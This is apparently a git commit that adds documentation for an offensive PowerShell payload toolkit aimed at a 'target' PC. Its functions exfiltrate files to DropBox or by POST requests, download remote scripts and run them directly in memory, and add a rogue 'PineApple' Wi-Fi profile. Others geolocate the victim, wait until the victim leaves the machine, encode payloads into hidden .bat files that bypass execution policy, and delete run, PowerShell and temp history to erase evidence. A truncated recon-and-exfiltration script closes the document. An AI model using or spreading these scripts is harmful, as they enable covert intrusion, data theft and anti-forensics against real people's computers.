first commit
This commit is contained in:
@@ -0,0 +1,57 @@
|
||||
# Abuse-CapsLock
|
||||
|
||||
## Description
|
||||
|
||||
These few functions will be different ways that you can take advantage of the CapsLock button
|
||||
|
||||
## The Functions
|
||||
|
||||
### [Caps-Indicator]
|
||||
|
||||
This function is meant to serve as an indicator for stages of your scripts
|
||||
Using the following function will make the capslock light blink on and off the number of times the variable $num indicates
|
||||
The blinking will be in intervals of X amount of seconds as indicated by the $pause variable
|
||||
Use the following syntax:
|
||||
(blinks 3 times pausing for a second between each)
|
||||
|
||||
```PowerShell
|
||||
Caps-Indicator -pause 250 -blinks 3
|
||||
```
|
||||
|
||||
```PowerShell
|
||||
function Caps-Indicator {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[string]$pause,
|
||||
|
||||
[Parameter (Mandatory = $True)]
|
||||
[int]$blinks
|
||||
)
|
||||
|
||||
$o=New-Object -ComObject WScript.Shell
|
||||
for($i = 1; $i -le $blinks * 2; $i++) {
|
||||
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Milliseconds $pause
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### [Caps-Off]
|
||||
|
||||
This function will make sure capslock is turned back off if one of your other scripts leaves it one
|
||||
|
||||
```PowerShell
|
||||
function Caps-Off {
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')
|
||||
|
||||
#If true, toggle CapsLock key, to ensure that the script doesn't fail
|
||||
if ($caps -eq $true){
|
||||
|
||||
$key = New-Object -ComObject WScript.Shell
|
||||
$key.SendKeys('{CapsLock}')
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
@@ -0,0 +1,173 @@
|
||||
## Description
|
||||
|
||||
This function will add a network profile to your targets PC
|
||||
|
||||
## The Function
|
||||
|
||||
### [Add-NetWork]
|
||||
|
||||
This function will accept 3 parameters, 1 is mandatory
|
||||
|
||||
You always have to provide the $SSID to give your network a name
|
||||
|
||||
The $Security parameter is defined automatically when providing a password or not
|
||||
|
||||
This will tell the function whether or not you need a wifi password for your network
|
||||
|
||||
If a wifi password is deemed necessary you provide it using the $PW variable
|
||||
|
||||
Set-up a new network profile on your targets PC using the following syntax:
|
||||
|
||||
```PowerShell
|
||||
# For a network profile using a Password use:
|
||||
|
||||
Add-NetWork -SSID wifi-name -PW wifi-password
|
||||
|
||||
# For a network profile NOT using a Password use:
|
||||
|
||||
Add-NetWork -SSID wifi-name
|
||||
|
||||
```
|
||||
|
||||
|
||||
```PowerShell
|
||||
function Add-NetWork {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Mandatory = $True)]
|
||||
[string]$SSID,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[Alias("s")]
|
||||
[string]$Security,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[string]$PW
|
||||
|
||||
)
|
||||
|
||||
if (!$PW) {$Security = "f"}
|
||||
if ($PW) {$Security = "t"}
|
||||
|
||||
# -------------------------------------------------------------------------------------------------
|
||||
|
||||
$sec = switch ( $Security )
|
||||
{
|
||||
"t" {
|
||||
"
|
||||
<security>
|
||||
<authEncryption>
|
||||
<authentication>WPA2PSK</authentication>
|
||||
<encryption>AES</encryption>
|
||||
<useOneX>false</useOneX>
|
||||
</authEncryption>
|
||||
<sharedKey>
|
||||
<keyType>passPhrase</keyType>
|
||||
<protected>false</protected>
|
||||
<keyMaterial>$PW</keyMaterial>
|
||||
</sharedKey>
|
||||
</security>
|
||||
"
|
||||
}
|
||||
"f" {
|
||||
|
||||
"
|
||||
<security>
|
||||
<authEncryption>
|
||||
<authentication>open</authentication>
|
||||
<encryption>none</encryption>
|
||||
<useOneX>false</useOneX>
|
||||
</authEncryption>
|
||||
</security>
|
||||
"
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# -------------------------------------------------------------------------------------------------
|
||||
|
||||
$profilefile="ACprofile.xml"
|
||||
$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
|
||||
$xmlfile="<?xml version=""1.0""?>
|
||||
<WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
|
||||
<name>$SSID</name>
|
||||
<SSIDConfig>
|
||||
<SSID>
|
||||
<hex>$SSIDHEX</hex>
|
||||
<name>$SSID</name>
|
||||
</SSID>
|
||||
</SSIDConfig>
|
||||
<connectionType>ESS</connectionType>
|
||||
<connectionMode>auto</connectionMode>
|
||||
<MSM>
|
||||
$sec
|
||||
</MSM>
|
||||
</WLANProfile>
|
||||
"
|
||||
|
||||
$XMLFILE > ($profilefile)
|
||||
netsh wlan add profile filename="$($profilefile)"
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## Examples
|
||||
|
||||
Listed below are payloads that have used one of these functions:
|
||||
|
||||
- Add a Pineapple network profile
|
||||
```PowerShell
|
||||
$profilefile="Home.xml"
|
||||
$SSID="PineApple"
|
||||
$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
|
||||
$xmlfile="<?xml version=""1.0""?>
|
||||
<WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
|
||||
<name>$SSID</name>
|
||||
<SSIDConfig>
|
||||
<SSID>
|
||||
<hex>$SSIDHEX</hex>
|
||||
<name>$SSID</name>
|
||||
</SSID>
|
||||
</SSIDConfig>
|
||||
<connectionType>ESS</connectionType>
|
||||
<connectionMode>manual</connectionMode>
|
||||
<MSM>
|
||||
<security>
|
||||
<authEncryption>
|
||||
<authentication>open</authentication>
|
||||
<encryption>none</encryption>
|
||||
<useOneX>false</useOneX>
|
||||
</authEncryption>
|
||||
</security>
|
||||
</MSM>
|
||||
</WLANProfile>
|
||||
"
|
||||
$XMLFILE > ($profilefile)
|
||||
netsh wlan add profile filename="$($profilefile)"
|
||||
netsh wlan connect name=$SSID
|
||||
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to clean up behind you and remove any evidence to prove you were there
|
||||
#>
|
||||
|
||||
# Delete contents of Temp folder
|
||||
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete run box history
|
||||
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||
|
||||
# Delete powershell history
|
||||
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
# Deletes contents of recycle bin
|
||||
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
```
|
||||
@@ -0,0 +1,90 @@
|
||||
## Description
|
||||
|
||||
These two functions can be used to convert an image to and from base64 format
|
||||
|
||||
## [SYNTAX]
|
||||
|
||||
### Encode an Image
|
||||
```PowerShell
|
||||
img-b64 -img "C:\Users\user\Desktop\image.jpg" -location desk
|
||||
```
|
||||
### Decode a File
|
||||
```PowerShell
|
||||
b64-img -file "C:\Users\user\Desktop\image.jpg" -location desk
|
||||
```
|
||||
## The Functions
|
||||
|
||||
### [img-b64]
|
||||
|
||||
This function will convert your image to base64 format
|
||||
|
||||
Use the image tag to provide the path of the image you are trying to convert
|
||||
|
||||
Using the Location parameter will determine if the file containing the base64 code is saved to the desktop or temp folder
|
||||
|
||||
If no location is designated it will save it to the desktop by default
|
||||
|
||||
```PowerShell
|
||||
function img-b64 {
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[string]$img,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[ValidateSet('desk', 'temp')]
|
||||
[string]$location
|
||||
)
|
||||
|
||||
if (!$location) {$location = "desk"}
|
||||
|
||||
$loc = switch ( $location )
|
||||
{
|
||||
"desk" { "$Env:USERPROFILE\Desktop"
|
||||
}
|
||||
"temp" { "$env:TMP"
|
||||
}
|
||||
}
|
||||
|
||||
[Convert]::ToBase64String((Get-Content -Path $img -Encoding Byte)) >> "$loc\encImage.txt"
|
||||
}
|
||||
```
|
||||
|
||||
### [b64-img]
|
||||
|
||||
This function will convert your base64 encoded file back into an image
|
||||
|
||||
Use the file tag to provide the path of the file you are trying to convert
|
||||
|
||||
Using the Location parameter will determine if the file containing the base64 code is saved to the desktop or temp folder
|
||||
|
||||
If no location is designated it will save it to the desktop by default
|
||||
|
||||
```PowerShell
|
||||
function b64-img {
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Mandatory = $True)]
|
||||
[string]$file,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[ValidateSet('desk', 'temp')]
|
||||
[string]$location
|
||||
)
|
||||
|
||||
if (!$location) {$location = "desk"}
|
||||
|
||||
$loc = switch ( $location )
|
||||
{
|
||||
"desk" { "$Env:USERPROFILE\Desktop"
|
||||
}
|
||||
"temp" { "$env:TMP"
|
||||
}
|
||||
}
|
||||
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
$Base64 = Get-Content -Raw -Path $file
|
||||
$Image = [Drawing.Bitmap]::FromStream([IO.MemoryStream][Convert]::FromBase64String($Base64))
|
||||
$Image.Save("$loc\decImage.jpg")
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,91 @@
|
||||
|
||||
## Description
|
||||
|
||||
This function Encodes AND Decodes a File OR String
|
||||
|
||||
## The Function
|
||||
|
||||
### [B64]
|
||||
|
||||
This funtion takes 1 parameter with 4 versions:
|
||||
|
||||
[encFile] - encode file
|
||||
|
||||
[encString] - encode string
|
||||
|
||||
[decFile] - decode file
|
||||
|
||||
[decString] - decode string
|
||||
|
||||
***
|
||||
|
||||
## [SYNTAX]
|
||||
|
||||
### Encode a File
|
||||
|
||||
`B64 -encFile "C:\Users\User\Desktop\example.txt"`
|
||||
|
||||
### Decode a File
|
||||
|
||||
`B64 -decFile "C:\Users\User\Desktop\example.txt"`
|
||||
|
||||
WARNING! When working with strings you have to wrap it in SINGLE QUOTES!
|
||||
|
||||
### Encode a String
|
||||
|
||||
`B64 -encString 'start notepad'`
|
||||
|
||||
### Decode a String
|
||||
|
||||
`B64 -decString 'cwB0AGEAcgB0ACAAbgBvAHQAZQBwAGEAZAA='`
|
||||
|
||||
### Copy out-put directly to clipboard with the following syntax:
|
||||
|
||||
COMMAND | clip
|
||||
|
||||
***
|
||||
|
||||
```PowerShell
|
||||
function B64 {
|
||||
[CmdletBinding(DefaultParameterSetName="encFile")]
|
||||
param(
|
||||
[Parameter(Position=0, ParameterSetName="encFile")]
|
||||
[Alias("ef")]
|
||||
[string]$encFile,
|
||||
|
||||
[Parameter(Position=0, ParameterSetName="encString")]
|
||||
[Alias("es")]
|
||||
[string]$encString,
|
||||
|
||||
[Parameter(Position=0, ParameterSetName="decFile")]
|
||||
[Alias("df")]
|
||||
[string]$decFile,
|
||||
|
||||
[Parameter(Position=0, ParameterSetName="decString")]
|
||||
[Alias("ds")]
|
||||
[string]$decString
|
||||
|
||||
)
|
||||
|
||||
if ($psCmdlet.ParameterSetName -eq "encFile") {
|
||||
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((Get-Content -Path $encFile -Raw -Encoding UTF8)))
|
||||
return $encoded
|
||||
}
|
||||
|
||||
elseif ($psCmdlet.ParameterSetName -eq "encString") {
|
||||
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($encString))
|
||||
return $encoded
|
||||
}
|
||||
|
||||
elseif ($psCmdlet.ParameterSetName -eq "decFile") {
|
||||
$data = Get-Content $decFile
|
||||
$decoded = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($data))
|
||||
return $decoded
|
||||
}
|
||||
|
||||
elseif ($psCmdlet.ParameterSetName -eq "decString") {
|
||||
$decoded = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($decString))
|
||||
return $decoded
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,27 @@
|
||||
## Description
|
||||
|
||||
This function is to erase any trace of you after wreaking havok on your target
|
||||
|
||||
## The Function
|
||||
|
||||
### [Clean-Exfil]
|
||||
|
||||
You will Delete contents of Temp folder, Delete run box history, Delete powershell history, and Deletes contents of recycle bin
|
||||
|
||||
```PowerShell
|
||||
function Clean-Exfil {
|
||||
|
||||
# empty temp folder
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# delete run box history
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||
|
||||
# Delete powershell history
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
# Empty recycle bin
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,27 @@
|
||||
# Default Browser
|
||||
|
||||
## Description
|
||||
|
||||
This function will get the default browser of your targets PC
|
||||
|
||||
## The Function
|
||||
|
||||
### [Get-DefaultBrowser]
|
||||
|
||||
This function will make a call to the registry to get the default Browser using the following syntax:
|
||||
|
||||
`$Default-Browser = Get-DefaultBrowser`
|
||||
|
||||
```PowerShell
|
||||
function Get-DefaultBrowser{
|
||||
|
||||
# Param([parameter(Mandatory=$true)][alias("Computer")]$ComputerName)
|
||||
$ComputerName = hostname
|
||||
$Registry = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $ComputerName)
|
||||
$RegistryKey = $Registry.OpenSubKey("SOFTWARE\\Classes\\http\\shell\\open\\command")
|
||||
#Get (Default) Value
|
||||
$Value = $RegistryKey.GetValue("")
|
||||
|
||||
return $Value
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,65 @@
|
||||
## Description
|
||||
|
||||
Detecting the mouse movement of a target could be helpful in 2 different situations: finding out if they just came back to their PC or finding out if they stepped away from their PC. These functions will pause your script until one of these conditions are met.
|
||||
|
||||
## The Functions
|
||||
|
||||
### [Target-Comes]
|
||||
In this first function the position of the cursor will be checked every 3 seconds
|
||||
|
||||
If the position of the cursor has not changed the capslock button will be pressed every 3 seconds as well
|
||||
|
||||
This is to stop the screen from sleeping and use the capslock light as an indicator the function is still waiting
|
||||
|
||||
When the position of the cursor is different the function will break out of the loop and resume the script
|
||||
|
||||
This is helpful if you are wanting to run a script once they return to their computer
|
||||
|
||||
```PowerShell
|
||||
function Target-Comes {
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||
$o=New-Object -ComObject WScript.Shell
|
||||
|
||||
while (1) {
|
||||
$pauseTime = 3
|
||||
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||
break
|
||||
}
|
||||
else {
|
||||
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### [Target-Leaves]
|
||||
In the second function the position of the cursor will be checked
|
||||
|
||||
Then the script will sleep for the number of seconds defined by the $PauseTime variable
|
||||
|
||||
If the cursor is in the same position it will break out of the function and continue the script
|
||||
|
||||
This is helpful if you are trying to determine if the target is away to run a script while they are gone
|
||||
|
||||
```PowerShell
|
||||
function Target-Leaves {
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Position=0, Mandatory = $True)]
|
||||
[Int]$Seconds
|
||||
)
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
|
||||
while (1) {
|
||||
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||
Start-Sleep -Seconds $Seconds
|
||||
if ([Windows.Forms.Cursor]::Position.X -eq $originalPOS){
|
||||
break
|
||||
}
|
||||
else {
|
||||
Start-Sleep -Seconds 1
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,48 @@
|
||||
## Description
|
||||
|
||||
This function is used to exfiltrate gathered data to DropBox
|
||||
|
||||
## The Function
|
||||
|
||||
### [DropBox-Upload]
|
||||
|
||||
First off for this function to work you need to have a DropBox account. Make one [HERE](https://www.dropbox.com).
|
||||
|
||||
Follow this [GUIDE](https://developers.dropbox.com/oauth-guide) for setting up your DropBox account for uploads
|
||||
|
||||
Use the following syntax for your upload:
|
||||
|
||||
```PowerShell
|
||||
DropBox-Upload -FileName "file.txt"
|
||||
|
||||
or
|
||||
|
||||
"file.txt" | DropBox-Upload
|
||||
```
|
||||
|
||||
Make sure to plug in your newly aquired DropBox token in the $DropBoxAccessToken variable below
|
||||
|
||||
(this function will exfiltrate a file from your targets temp directory so make sure you save your aquired data to the same directory)
|
||||
|
||||
```PowerShell
|
||||
function DropBox-Upload {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
|
||||
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[Alias("f")]
|
||||
[string]$SourceFilePath
|
||||
)
|
||||
$DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN-HERE" # Replace with your DropBox Access Token
|
||||
$outputFile = Split-Path $SourceFilePath -leaf
|
||||
$TargetFilePath="/$outputFile"
|
||||
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||
$authorization = "Bearer " + $DropBoxAccessToken
|
||||
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||
$headers.Add("Authorization", $authorization)
|
||||
$headers.Add("Dropbox-API-Arg", $arg)
|
||||
$headers.Add("Content-Type", 'application/octet-stream')
|
||||
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,54 @@
|
||||
## Description
|
||||
|
||||
This function will get the geo-location of your target
|
||||
|
||||
## The Function
|
||||
|
||||
### [Get-GeoLocation]
|
||||
|
||||
Using the Geo-Watcher function you will get the location of your Target saved to the variable $GL
|
||||
|
||||
Latitude and Longitude will be saved individually to the the following variables $Lat and $Lon
|
||||
|
||||
```PowerShell
|
||||
function Get-GeoLocation{
|
||||
try {
|
||||
Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace
|
||||
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object
|
||||
$GeoWatcher.Start() #Begin resolving current locaton
|
||||
|
||||
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
|
||||
Start-Sleep -Milliseconds 100 #Wait for discovery.
|
||||
}
|
||||
|
||||
if ($GeoWatcher.Permission -eq 'Denied'){
|
||||
Write-Error 'Access Denied for Location Information'
|
||||
} else {
|
||||
$GL = $GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.
|
||||
$GL = $GL -split " "
|
||||
$Lat = $GL[0].Substring(11) -replace ".$"
|
||||
$Lon = $GL[1].Substring(10) -replace ".$"
|
||||
return $Lat, $Lon
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No coordinates found"
|
||||
return "No Coordinates found"
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
$Lat, $Lon = Get-GeoLocation
|
||||
```
|
||||
|
||||
|
||||
Going a step further we can use [Start-Process] to open a tab in the browser with a map of their current location
|
||||
|
||||
by navigating to the following URL with the $Lon and $Lat variable plugged into it
|
||||
|
||||
```PowerShell
|
||||
Start-Process "https://www.latlong.net/c/?lat=$Lat&long=$Lon"
|
||||
```
|
||||
@@ -0,0 +1,35 @@
|
||||
## Description
|
||||
|
||||
This function can be used to hide a secret message in an image
|
||||
|
||||
## The Function
|
||||
|
||||
### [Hide-Msg]
|
||||
|
||||
In this function you will provide the path of your image and your secret message using the syntax below
|
||||
|
||||
```
|
||||
Hide-Msg -Path "C:\Users\user\Desktop\secret.jpg" -Message "this is your secret message"
|
||||
```
|
||||
|
||||
```PowerShell
|
||||
function Hide-Msg {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
|
||||
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[string]$Path,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[string]$Message
|
||||
)
|
||||
|
||||
echo "`n`n $Message" > $Env:USERPROFILE\Desktop\foo.txt
|
||||
|
||||
cmd.exe /c copy /b "$Path" + "$Env:USERPROFILE\Desktop\foo.txt" "$Path"
|
||||
|
||||
rm $Env:USERPROFILE\Desktop\foo.txt -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,40 @@
|
||||
## Description
|
||||
|
||||
These functions are used to determine if you have Admin level privledges
|
||||
|
||||
## The Function
|
||||
|
||||
### [If-Admin-Window]
|
||||
|
||||
This function will let you know if you are currently in an Admin Privledge Level window
|
||||
|
||||
```PowerShell
|
||||
function If-Admin-Window {
|
||||
$user = [Security.Principal.WindowsIdentity]::GetCurrent();
|
||||
$isAdmin = (New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
|
||||
|
||||
if($isAdmin){
|
||||
Write-host 'Is Admin Window' -BackgroundColor DarkRed -ForegroundColor White
|
||||
}
|
||||
else{
|
||||
Write-host 'Not Admin Window' -BackgroundColor DarkBlue -ForegroundColor White
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### [If-Admin]
|
||||
|
||||
This function will run the current user against LocalGroupMember to return True or False if Profile has Admin Privledges
|
||||
|
||||
```PowerShell
|
||||
function If-Admin {
|
||||
$user = "$env:COMPUTERNAME\$env:USERNAME"
|
||||
$isAdmin = (Get-LocalGroupMember 'Administrators').Name -contains $user
|
||||
if($isAdmin){
|
||||
Write-host 'Is Admin' -BackgroundColor DarkRed -ForegroundColor White
|
||||
}
|
||||
else{
|
||||
Write-host 'Not Admin' -BackgroundColor DarkBlue -ForegroundColor White
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,47 @@
|
||||
## Description
|
||||
|
||||
These functions are used to either download or upload files or data
|
||||
|
||||
## The Function
|
||||
|
||||
### [IWR-Save]
|
||||
|
||||
This formatting of the IWR function will download a file from a selected URL and save it to the directory of your choosing
|
||||
|
||||
This is helpful if you are trying to save an image or sound file to use in your script
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
`$env:TMP\`
|
||||
|
||||
Use this environment variable to save the file to your Temp directory
|
||||
|
||||
`$Env:USERPROFILE\Desktop\`
|
||||
|
||||
Use this environment variable to save a file to your desktop
|
||||
|
||||
```PowerShell
|
||||
iwr < Your url for the intended file>?dl=1 -O $Env:USERPROFILE\Desktop\image.jpg
|
||||
```
|
||||
|
||||
### [IWR-Fileless]
|
||||
|
||||
This formatting of the IWR function will download a file and execute it immedietely without saving it to memory
|
||||
|
||||
This is helpful if you are trying to download and execute a script without keeping it on the target's system
|
||||
|
||||
```PowerShell
|
||||
$pl = iwr < Your url for the intended file>?dl=1; invoke-expression $pl
|
||||
```
|
||||
|
||||
### [IWR-Post]
|
||||
|
||||
This formatting of the IWR function will exfiltrate data via a DNS/POST
|
||||
|
||||
This is helpful if you are trying to exfiltrate the data you have captured
|
||||
|
||||
[Request Catcher](https://requestcatcher.com/)<-------Helpful website to test POST requests
|
||||
|
||||
```PowerShell
|
||||
iwr -Uri < Your url for posting the intended data> -Method POST -Body "text to upload"
|
||||
```
|
||||
@@ -0,0 +1,17 @@
|
||||
## Description
|
||||
|
||||
A function to minimize all the apps on your targets screen
|
||||
|
||||
## The Function
|
||||
|
||||
### [Minimize-Apps]
|
||||
|
||||
A short description of how your function works
|
||||
|
||||
```PowerShell
|
||||
Function Minimize-Apps
|
||||
{
|
||||
$apps = New-Object -ComObject Shell.Application
|
||||
$apps.MinimizeAll()
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,56 @@
|
||||
## Description
|
||||
|
||||
This function will make a generic pop up message box
|
||||
|
||||
## The Function
|
||||
|
||||
### [MsgBox]
|
||||
|
||||
The title, button, and image parameters are optional.
|
||||
|
||||
You can use tab completion on the button and image parameter
|
||||
|
||||
Generate a Message Box pop up using the following syntax:
|
||||
|
||||
```PowerShell
|
||||
MsgBox -message 'this is the message body' -title "this is the title" -button OKCancel -image Warning
|
||||
```
|
||||
or
|
||||
```PowerShell
|
||||
MsgBox -m 'this is the message body' -t "this is the title" -b OKCancel -i Warning
|
||||
```
|
||||
|
||||
```PowerShell
|
||||
function MsgBox {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Mandatory = $True)]
|
||||
[Alias("m")]
|
||||
[string]$message,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[Alias("t")]
|
||||
[string]$title,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[Alias("b")]
|
||||
[ValidateSet('OK','OKCancel','YesNoCancel','YesNo')]
|
||||
[string]$button,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[Alias("i")]
|
||||
[ValidateSet('None','Hand','Question','Warning','Asterisk')]
|
||||
[string]$image
|
||||
)
|
||||
|
||||
Add-Type -AssemblyName PresentationCore,PresentationFramework
|
||||
|
||||
if (!$title) {$title = " "}
|
||||
if (!$button) {$button = "OK"}
|
||||
if (!$image) {$image = "None"}
|
||||
|
||||
[System.Windows.MessageBox]::Show($message,$title,$button,$image)
|
||||
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,23 @@
|
||||
## Description
|
||||
|
||||
Play a sound file from the console window
|
||||
|
||||
## The Function
|
||||
|
||||
### [PlaySound]
|
||||
|
||||
Pass the path of the sound file into this function to have it play using the following syntax:
|
||||
```PowerShell
|
||||
PlaySound "C:\Users\User\AppData\Local\Temp\sound.wav"
|
||||
```
|
||||
|
||||
```PowerShell
|
||||
function PlaySound {
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Mandatory = $True, Position=0, ValueFromPipeline = $True)]
|
||||
[string]$File
|
||||
)
|
||||
$PlaySound=New-Object System.Media.SoundPlayer;$PlaySound.SoundLocation=$File;$PlaySound.playsync()
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
## Description
|
||||
|
||||
This function will convert a PowerShell script to a Batch file
|
||||
|
||||
## The Function
|
||||
|
||||
### [PowerShell-2-Batch]
|
||||
|
||||
Using this function will convert your powershell payload over to Base64 and then change the extension on it to be a .BAT file
|
||||
|
||||
Make the conversion with this function using the following syntax:
|
||||
|
||||
```Powershell
|
||||
P2B -Path "C:\Users\User\Desktop\example.ps1"
|
||||
```
|
||||
or
|
||||
```PowerShell
|
||||
"C:\Users\User\Desktop\example.ps1" | P2B
|
||||
```
|
||||
|
||||
```PowerShell
|
||||
function P2B {
|
||||
param
|
||||
(
|
||||
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
|
||||
[string]
|
||||
$Path
|
||||
)
|
||||
|
||||
process
|
||||
{
|
||||
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((Get-Content -Path $Path -Raw -Encoding UTF8)))
|
||||
$newPath = [Io.Path]::ChangeExtension($Path, ".bat")
|
||||
"@echo off`npowershell -w h -NoP -NonI -Exec Bypass -enc $encoded" | Set-Content -Path $newPath -Encoding Ascii
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,393 @@
|
||||
```PowerShell
|
||||
<#
|
||||
|
||||
.SYNOPSIS
|
||||
This is an advanced recon of a target PC and exfiltration of that data
|
||||
|
||||
.DESCRIPTION
|
||||
This program gathers details from target PC to include everything you could imagine from wifi passwords to PC specs to every process running
|
||||
All of the gather information is formatted neatly and output to a file
|
||||
That file is then exfiltrated to cloud storage via DropBox
|
||||
|
||||
.Link
|
||||
https://developers.dropbox.com/oauth-guide # Guide for setting up your DropBox for uploads
|
||||
#>
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
$DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN"
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
function Get-fullName {
|
||||
|
||||
try {
|
||||
|
||||
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||||
|
||||
}
|
||||
|
||||
# If no name is detected function will return $env:UserName
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No name was detected"
|
||||
return $env:UserName
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
return $fullName
|
||||
|
||||
}
|
||||
|
||||
$FN = Get-fullName
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
function Get-email {
|
||||
|
||||
try {
|
||||
|
||||
$email = GPRESULT -Z /USER $Env:username | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches;$email = ("$email").Trim()
|
||||
return $email
|
||||
}
|
||||
|
||||
# If no email is detected function will return backup message for sapi speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "An email was not found"
|
||||
return "No Email Detected"
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
|
||||
$EM = Get-email
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
function Get-GeoLocation{
|
||||
try {
|
||||
Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace
|
||||
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object
|
||||
